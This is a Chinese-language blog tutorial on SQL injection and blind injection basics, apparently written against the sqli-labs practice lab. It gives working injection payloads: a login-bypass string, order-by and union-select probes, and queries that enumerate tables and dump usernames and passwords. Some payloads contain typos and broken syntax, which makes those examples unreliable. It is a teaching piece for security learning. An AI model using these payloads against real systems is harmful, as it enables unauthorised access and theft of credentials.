SQL注入盲注基础

发布于:2022-07-26 ⋅ 阅读:(2287) ⋅ 点赞:(2)

目录

SQL注入基本概念

SQL注入产生的原因

 SQL注入的本质

SQL注入的两个关键点

 SQL注入分类

SQL注入流程

1.寻找注入点

2.判断闭合方式

3.验证漏洞

4.判断列数及回显

5.利用联合查询,判断回显位

 6.取数据库名

 7.取表名

8.查列名:

9.取最后的数据:

10.总结:

盲注的基本概念

什么是盲注

盲注的分类:

盲注常用函数(分号不要忘记)

SQL注入基本概念

SQL注入产生的原因

当web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或者修改数据库中的数据。

 SQL注入的本质

把用户输入的数据当做代码来执行,违背了“数据与代码分离的原则”。

SQL注入的两个关键点


用户能够控制输入的内容
web应用把用户输入的内容带入到数据库中执行。

  • SQL注入的危害:SQL中(#)号是注释作用。

  •     :盗取网站的敏感信息。

  •     :绕过网站后台认证。

           万能密码:‘ or ‘1’ = ‘1’ #   

            其中第一个单引号和登陆语句本身的密码的单引号成对,or(全假才加),所以万能语            句为真,#将登陆语句后面的内容全部注释掉。

  •     :借助SQL注入漏洞提权获取系统的权限。

  •     :提取文件的信息。

 SQL注入分类

  • 根据注入位置分类:GET型、POST型、Head头注入
  • 根据反馈结构分类:有回显(显错注入)、无回显(盲注)
  • 根据数据类型分类:数字型和字符型
    数字型:输入的参数为整型,如ID、年龄、页码等。
    字符型:输入的参数为字符串。
    数字型与字符型的最大区别:数字型不需要单引号闭合,字符型一般需要单引号闭合(闭合方式也不一定就是单引号)。

SQL注入流程

1.寻找注入点

比如密码输入、网页搜索框

2.判断闭合方式

?id=1sjkhd(后面的字母可以乱写)
有报错:数字型,数字类型无闭合
无报错:字符型,需要判断闭合方式,闭合方式有:'、"、')、")
将判断闭合方式语句后加一个单引号(判断闭合方式,此时语句知道类型为字符型):?id=1sjkhd'
如下:去掉我们输入的1sjkhd'后,观察右边,发现还剩下一个单引号,所以为单引号闭合方式

3.验证漏洞

?id = 1 and 1 --+  正常显示(--+与#一样,属于注释作用)真(and,全真才真)
?id = 1 and  0--+   无显示     假
两个语句执行后,第二个语句无显示,存在漏洞。

4.判断列数及回显

利用order by语句:?id=1') order by 4--+  (这里的数字从大到小测试,可以采用二分法)。
如下:

5.利用联合查询,判断回显位

?id= -1') union select 1,2,3 --+ (前面得知有三列)
如下:1没有显示,接下来就只需要到2和3有回显的位置进行测试。

 6.取数据库名

如上知道,可以在2和3的位置进行注入。相应位置写:database()

取数据库名(在2的位置进行注入,3也可以):?id= -1') union select 1,database(),3 --+
如下:可以得到2的数据库名为:security

 7.取表名

?id=-1') union select 1,(select group_concat (table_name) from information_schema.tables where table_schema=database()),3 --+

其中database()写成security也可以

information_schema:就是指数据库(点tables就是指数据库下的一张表)
group_conat:将我们查到的内容进行输出。
table——name:表名

8.查列名:

对取表名的语句进行修改:?id=-1') union select 1,(select group_concat (table_name) from information_schema.tables where table_schema=database().....),3 --+

 修改后:?id=-1') union select 1,(select column_name) from information_schema.column where table_schema=database() and table_name='users',3++
其中:users为上面查到的表名,可以随便选一个来查询。
如下就可以知道:在users下有如下三个列名

9.取最后的数据:

?id=-1') union select 1, ( select group_concat(username)from users ,3 --+
如下,就取出了username下的全部数据内容
 

这里,可以在2的位置写上username,3的位置写上password,就可以的到全部数据
?id=-1') union select 1,group_concat (username),group_concat(password) from users --+
 

10.总结:

盲注的基本概念

什么是盲注

指在SQL注入的过程中,找到注入点后,执行SQL语句后,选择的数据或者错误信息不能回显到前端页面

这里需要利用一些方法进行判断或者猜测,这个过程称之为盲注。

第八关就用到盲注的方法。因为当输入?id=1时,出现的是:You are in .......

只有两种显示,输入正确的语句,就显示you are in ......,输入错误的东西,就不显示内容。

盲注的分类:

  • 基于布尔判断的盲注
  • 基于时间延迟的盲注
  • 基于报错显示的盲注

盲注常用函数(分号不要忘记)

  • substr(string,start,length)
    功能:截取字符串的功能
    返回值:返回截取后的字符串
    参数:string为操作字符串,start为字符串的开始位置,length为从开始位置截取的长度。
    比如:$ret = substr ("hello kali",2,4);
               ret = "ello" ; #(解释:从第二个位置开始,长度为4)
    比如:substr(database(),1,1)> ' a '  #(解释:判断数据库名第一位是否大于a,再查看其他位进行判断)。
     
  • mid(column_name,start,length)
    功能:与substr的功能是一样的。
     
  • left(string,n)
    功能:返回字符串string最左边的n个字符串
    返回值:字符串的左边的n个字符串
    比如:$ret = left("redhat",3);
    ret = "red";
    比如:left(database()2,=‘se’)#判断数据库名前2个字符是否为se;再查看其他位进行判断。
     
  • right(与left一样,只是说从右边开始)
     
  • ord (char)
    功能:char为字符,用于返回字符的ASCII码,有时候服务器会对单引号进行转义,使ASCII码就不适用单引号参数。
    返回值:返回ASCII码值
    比如:$ret = ord('a');
                ret = 97;
    比如:ord (mid(database),1,1)>114;#检测database()的第一位ASCII码是否发育114,也就是‘r’。
     
  • ascii(str)#与ord的功能一样。
     
  • length(string)
    功能:截取字符串的长度,判断字符串的长度
    比如:length(database())>5  #判断数据库名是否大于5.
     
  • ifnull(str1,str2)
    功能:根据第一个参数是否为null返回的具体值,ifnull里面有两个数,如果第一个数不为null,返回str1,如果第一个数str1=null,返回str2 。
    返回值:根据第一个参数来判断返回值。
    比如:$ret1 1=ifnull ("hello","nihao");
               ret1 = "hello"
               $ret2 = ifnull (null,"nihao");
               ret2 = "nihao"

     


网站公告

今日签到

点亮在社区的每一天
去签到